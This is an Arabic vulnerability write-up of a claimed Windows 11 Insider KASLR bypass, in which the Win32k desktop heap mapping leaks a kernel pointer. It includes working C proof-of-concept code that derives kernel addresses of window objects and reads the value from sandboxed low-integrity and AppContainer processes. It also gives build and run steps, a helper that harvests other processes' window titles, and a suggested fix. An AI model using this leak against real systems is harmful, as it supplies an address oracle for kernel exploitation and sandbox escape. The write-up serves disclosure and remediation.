CVE-2026-50416: تجاوز KASLR في Windows 11
على إصدار Windows 11 Insider 10.0.28020.2149، كشف تعيين وضع المستخدم للكومة المكتبية Win32k عن مؤشر خام لجلسة النواة عند الإزاحة 0x100.
القراءة نفسها صغيرة بشكل شبه هجومي:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
في جلسة الاختبار الخاصة بي، أعادت ذلك:
0xffffc600dcc00040
ظلت القيمة نفسها عبر العمليات على نفس المكتب وتغيرت بعد إعادة التشغيل. العملية التي تم إطلاقها على مكتب آخر تلقت قيمة مختلفة لأنها كانت تمتلك كومة مكتبية مختلفة. من هذه الكلمة QWORD الواحدة، استعاد إثبات المفهوم (PoC) قاعدة الكومة المكتبية للنواة ثم استخدم user32!gSharedInfo لاشتقاق عناوين النواة لكائنات النوافذ الحية.
عملت القراءة نفسها من سلامة منخفضة (Low integrity)، وAppContainer، وتكوين LPAC بدون قدرات، وطفل AppContainer بسلامة منخفضة بدون قدرات.
من المفترض أن تكون الكومة المكتبية مشتركة. مؤشر النواة ليس كذلك.
يخزن Win32k كائنات USER مثل النوافذ والقوائم والفئات والخطافات والبيانات الوصفية ذات الصلة في الكومات المكتبية. لكل مكتب كومة خاصة به. يتم تعيين جزء من تلك الكومة في العمليات المرتبطة بالمكتب حتى يتمكن وضع المستخدم من قراءة حالة واجهة المستخدم الرسومية المشتركة دون سؤال النواة عن كل حقل.
على إصدار x64 المختبر، يمكن الوصول إلى تعيين وضع المستخدم من خلال بيانات عميل TEB الخاصة بمؤشر الترابط الحالي:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
الإزاحات خاصة بالإصدار، لكن المسار بسيط:
GS:[0x30]
-> TEB
-> ClientInfo عند TEB + 0x800
-> ClientInfo[5]
-> تعيين الكومة المكتبية لوضع المستخدم
يستدعي إثبات المفهوم VirtualQuery على العنوان المُعاد ويسجل المنطقة المعينة وحمايتها. لم يحدث أي خطأ حتى الآن. تعيين كومة مكتبية للقراءة فقط هو سلوك Win32k طبيعي.
تبدأ المشكلة بعد 256 بايت داخلها.
يقرأ إثبات المفهوم الرئيسي كلمة QWORD واحدة من الكومة المعينة:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
اجتازت القيمة الفحوصات الأساسية المتوقعة من عنوان افتراضي للنواة على النظام المختبر:
ينشئ اختبار الاستقرار نوافذ STATIC وBUTTON وEDIT، ويقرأ القيمة قبل الإنشاء، ويقرأها مرة أخرى أثناء وجود النوافذ، ويدمرها، ويقرأها مرة ثالثة.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
أعادت القراءات الثلاث نفس القيمة. لم يحركها نشاط تخصيص النوافذ. هذا السلوك متسق مع حقل في بيانات الكومة المكتبية الوصفية وليس مؤشر كائن قصير العمر.
خاصية العبور بين العمليات مهمة بنفس القدر. عمليتان مرتبطتان بنفس المكتب تلاحظان نفس القيمة المسربة لأنهما تنظران إلى نفس الكومة المكتبية. بعد إعادة التشغيل، يمنح KASLR الجلسة عنوانًا جديدًا. طفل موضوع على مكتب آخر يلاحظ مؤشرًا آخر لأن ذلك المكتب يمتلك كومة أخرى.
يمنح ذلك التسريب هوية مفيدة:
نفس الإقلاع + نفس المكتب -> نفس المؤشر
نفس الإقلاع + مكتب مختلف -> مؤشر مختلف
إقلاع جديد -> مؤشر مختلف
على الإصدار المختبر، يقع المؤشر المسرب 0x40 بايت فوق قاعدة الكومة المكتبية للنواة المستخدمة من قبل إثبات المفهوم:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
باستخدام قيمة الجلسة المسجلة:
المؤشر المسرب = 0xffffc600dcc00040
قاعدة الكومة المكتبية للنواة = 0xffffc600dcc00000
هذه العلاقة خاصة بالإصدار. بالنسبة للإصدار المستخدم أثناء الاختبار، فإنها تعطي المرساة الجانبية للنواة اللازمة للخطوة التالية.
مؤشر واحد مفيد بالفعل. عنوان كائن محدد أكثر فائدة بكثير.
يقوم user32.dll بتصدير gSharedInfo، الذي يكشف قائمة إدخالات مقابض USER وحجم كل إدخال:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
يحتوي HWND على فهرس في جدول مقابض USER. يأخذ إثبات المفهوم البتات الـ 16 المنخفضة من المقبض، ويمشي إلى الإدخال المطابق، ويقرأ إزاحة الكومة المكتبية المخزنة هناك.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
نفس الإزاحة تسمي الكائن في كلا التعيينين:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
إذن الحساب الكامل هو:
قاعدة الكومة المكتبية للنواة = desktop_heap[0x100] - 0x40
فهرس المقبض = HWND & 0xffff
إزاحة الكومة = aheList[فهرس المقبض].offset
عنوان نافذة النواة = قاعدة الكومة المكتبية للنواة + إزاحة الكومة
ينشئ إثبات المفهوم ست فئات نوافذ ويقوم بالحساب لكل منها:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXلكل كائن، يطبع HWND وفهرس المقبض وعنوان كائن وضع المستخدم وإزاحة الكومة وعنوان النواة.
HWND
-> فهرس المقبض المنخفض 16 بت
-> إدخال مقبض gSharedInfo
-> إزاحة الكومة المكتبية
-> قاعدة الكومة المكتبية للنواة + الإزاحة
-> عنوان النواة لكائن النافذة ذلك
هذا هو الجزء الذي يحول الكشف من مؤشر نواة فضفاض إلى أوراكل عناوين لكائنات USER محددة على الكومة المكتبية المختبرة.
تصل الكومة المكتبية عبر تعيين مشترك. مستويات السلامة وقيود AppContainer لا تعيد كتابة محتويات ذلك التعيين لكل عملية. إذا استلمت العملية الكومة المكتبية، فإنها تستلم كلمة QWORD عند 0x100 معها.
يطلق إثبات المفهوم الخاص بوضع الحماية أطفالًا في عدة سياقات ويجعل كل طفل يقرأ القيمة من TEB الخاص به ومن تعيين الكومة المكتبية الخاص به.
| السياق | التكوين | النتيجة |
|---|---|---|
| سلامة متوسطة | عملية مستخدم قياسية | مسربة |
| سلامة منخفضة | سلامة الرمز المميز مخفضة إلى منخفضة | مسربة |
| AppContainer | صفر قدرات مطلوبة | مسربة |
| تكوين LPAC | جميع حزم التطبيقات بسياسة إلغاء الاشتراك، صفر قدرات مطلوبة | مسربة |
| AppContainer بسلامة منخفضة | IL منخفض بالإضافة إلى AppContainer، صفر قدرات مطلوبة | مسربة |
| مكتب بديل | طفل معين لمكتب جديد | مسربة بقيمة مختلفة |
كان الأطفال الخمسة الأوائل مرتبطين بالمكتب الافتراضي وأعادوا نفس العنوان. أعاد طفل المكتب البديل عنوانًا آخر لأنه استلم كومة مكتبية أخرى.
مخرجات الطفل لها تنسيق مضغوط حتى يتمكن الوالد من مقارنة النتائج:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
يسجل المساعد الأكثر صرامة أيضًا حالة الرمز المميز وعدد القدرات:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
التفصيل المهم ليس أن الطفل يمكنه استدعاء واجهة برمجة تطبيقات Win32k خاصة. لا يحتاج إليها. بمجرد وجود التعيين، يكون التسريب قراءة ذاكرة عادية في وضع المستخدم.
يقوم مساعد منفصل بالقراءة دون استدعاء CreateWindow.
يتحقق من مؤشر الكومة المكتبية، ويقرأ desktop_heap[0x100]، ويحمّل user32.dll صراحةً، ويتحقق من التعيين مرة أخرى، ومع ذلك لا ينشئ نافذة أبدًا. طفل آخر شبيه بالعارض (renderer) يحمّل user32.dll، ويقوم بنفس القراءة، ويخرج دون إنشاء أي نافذة.
النتيجة المفيدة واضحة ومباشرة:
لا يلزم إنشاء أي كائن نافذة قبل قراءة كلمة QWORD المسربة.
ينتمي التسريب إلى تعيين الكومة المكتبية نفسه، وليس إلى نافذة أنشأتها العملية المهاجمة.
supporting_proof_remote_trigger.c ينشئ طفل AppContainer بسلامة منخفضة مع صفر قدرات مطلوبة. يقوم الطفل بقدر صغير فقط من العمل:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
المخرجات المسجلة:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
يوضح ذلك القراءة من تكوين رمز مميز شبيه بالعارض. خطأ تلف ذاكرة منفصل في المتصفح يمنح بالفعل تنفيذ كود أصلي في مثل هذه العملية لن يحتاج إلى كشف معلومات آخر قبل قراءة مؤشر الكومة المكتبية هذا.
بمجرد حصولي على مؤشر موثوق، قمت بفحص المنطقة المعينة لمعرفة ما هو موجود أيضًا.
وجد الماسح ست إلى عشر قيم QWORD فريدة إضافية لكل تشغيل اجتازت نفس فحوصات العنوان الأساسي والمحاذاة. تغير العدد الدقيق مع نشاط المكتب. كانت الإزاحة 0x100 هي التسريب الأساسي المستقر، لكنها لم تكن القيمة الوحيدة بشكل عنوان نواة في التعيين.
يقوم مساعد البيانات الحساسة بتعداد النوافذ العلوية باستخدام EnumWindows، ويجمع معرّفات العمليات المالكة والعناوين، ثم يبحث في تعيين الكومة المكتبية عن نفس العناوين كسلاسل UTF-16.
في التشغيل المسجل وجد عشرين عنوانًا فريدًا ينتمي إلى عمليات أخرى. تضمنت الأمثلة علامات تبويب المتصفح وDiscord وExplorer وSpotify ونوافذ علبة النظام.
يطبع البرنامج عنوانًا فقط بعد تحقق كلا الشرطين:
EnumWindows عن نافذة بهذا العنوان ومعرّف عملية مالك مختلف عن عملية الاختبار.يجعل ذلك المخرجات سهلة التحقق بدلاً من الاعتماد على سلاسل قابلة للطباعة عشوائية موجودة في الذاكرة.
يقوم المساعد أيضًا بفحص قيم DWORD في التعيين. تُحسب القيمة فقط عندما:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) لها.EnumWindows.وجد التشغيل المسجل 605 تكرارات DWORD مطابقة. هذا عدد تكرارات في الكومة، وليس 605 عمليات فريدة. يمكن أن يظهر نفس معرّف العملية أكثر من مرة.
ينشئ المساعد عنصر تحكم EDIT مع ES_PASSWORD، ويضبط نصه على SecretPassword123، ويبحث في المنطقة المعينة عن بادئة SecretP. لم يتم العثور عليها في التشغيل المختبر.
إذن كشف التعيين عناوين وتكرارات معرّفات عمليات وقيمًا بشكل نواة، بينما لم تظهر سلسلة كلمة المرور المختبرة هناك.
بالنسبة لخطأ تلف ذاكرة Win32k، معرفة أن كائنًا موجودًا ليس نفس معرفة أين يعيش في ذاكرة النواة.
بدون الكشف، يتعين على المهاجم التعامل مع قاعدة كومة مكتبية غير معروفة وعناوين كائنات غير معروفة. مع الكشف، يصبح جانب العنوان:
اقرأ كلمة QWORD واحدة
اطرح 0x40
اقرأ إدخال المقبض الهدف
أضف إزاحة الكومة الخاصة به
بالنسبة لـ HWND محدد، أصبح لدى المهاجم الآن عنوان الكومة المكتبية للنواة المقابل على الإصدار المختبر. يمكن أن يساعد ذلك في:
يحل التسريب مشكلة العنوان. يظل تشكيل الكومة واستبدال الكائن وبدائية تلف الذاكرة أجزاء منفصلة من الاستغلال.
هذا التقسيم مهم. لا يوقف KASLR تلف الذاكرة. يجعل الاستهداف الموثوق أصعب. تزيل كلمة QWORD هذه عدم اليقين لمنطقة الكومة المكتبية المستخدمة من قبل إثبات المفهوم.
Windows 11 Insider Build 10.0.28020.2149
مستخدم قياسي
خط أساس سلامة متوسطة
kaslr_bypass_poc.c: إثبات المفهوم الرئيسي للتسريب وحل عنوان النافذةkaslr_sandbox_proof.c: اختبارات IL متوسطة وIL منخفضة وAppContainer وتكوين LPAC وAppContainer بIL منخفض والمكتب البديلsupporting_proof_no_window.c: قراءة دون إنشاء نافذةsupporting_proof_no_caps_lpac.c: تكوينات AppContainer وLPAC بدون قدراتsupporting_proof_sensitive_data.c: العناوين وتكرارات معرّفات العمليات وفحص المؤشرات الإضافية وفحص حقل كلمة المرورsupporting_proof_exploitability.c: ست فئات نوافذ وحسابات عناوين النواةsupporting_proof_remote_trigger.c: طفل AppContainer بIL منخفض شبيه بالعارضcompile.bat: قائمة البناءشغّل:
compile.bat
اختر الهدف من القائمة.
يمكن أيضًا ترجمة إثبات المفهوم الرئيسي مباشرة من موجه أوامر مطور Visual Studio:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
شغّل إثبات المفهوم الرئيسي مرتين دون إعادة تشغيل:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
يجب أن يكون المؤشر عند desktop_heap + 0x100 متطابقًا في كلا التشغيلين.
افتح طرفية ثانية وشغّله من عملية أخرى على نفس المكتب. يجب أن تتطابق القيمة مرة أخرى.
أعد التشغيل وكرر. يجب أن تتغير القيمة.
kaslr_sandbox_proof.exe
يطلق الاختبار كل طفل ويلتقط مخرجاته ويقارن القيم المسربة. يجب أن يبلغ الأطفال على المكتب الافتراضي عن نفس القيمة. يجب أن يبلغ طفل المكتب البديل عن قيمة مختلفة.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
يعزل كل مساعد جزءًا واحدًا من النتيجة بحيث يمكن إعادة إنتاجه دون قراءة مخرجات إثبات المفهوم الكامل.
يجب ألا يحتوي تعيين وضع المستخدم على عناوين افتراضية خام للنواة.
أصغر إصلاح هو تنظيف حقل رأس الكومة المكتبية قبل أن تصبح الصفحة مرئية في وضع المستخدم. يستخدم Windows بالفعل قيمة معتمة 0x6000000000 لحقول مؤشرات الكومة المكتبية الأخرى، لذا يمكن استخدام نفس نمط الاستبدال هنا إذا كان وضع المستخدم لا يزال بحاجة إلى الحقل.
إذا لم يكن وضع المستخدم بحاجة إلى صفحة الرأس، فإن الإصلاح الأنظف هو عدم كشف تلك الصفحة في التعيين المشترك.
اختبار الانحدار بسيط: إنشاء عمليات بتكوينات IL متوسطة وIL منخفضة وAppContainer وLPAC، وتعيين الكومة المكتبية، ورفض أي عنوان نواة أساسي موجود في الرأس المرئي للمستخدم.
تبدأ السلسلة بأكملها بقراءة عادية واحدة من تعيين للقراءة فقط:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
تحدد كلمة QWORD تلك الكومة المكتبية للنواة. يوفر gSharedInfo الإزاحة لكل كائن. معًا يحولان HWND لوضع المستخدم إلى عنوان النواة المقابل على الإصدار المختبر.
لا يوجد مشغل معقد مختبئ هنا. وضع Windows الكومة المكتبية حيث يمكن لوضع المستخدم قراءتها، ثم ترك مؤشر نواة واحدًا داخل الجزء الذي شاركه.
كانت كلمة QWORD واحدة كافية.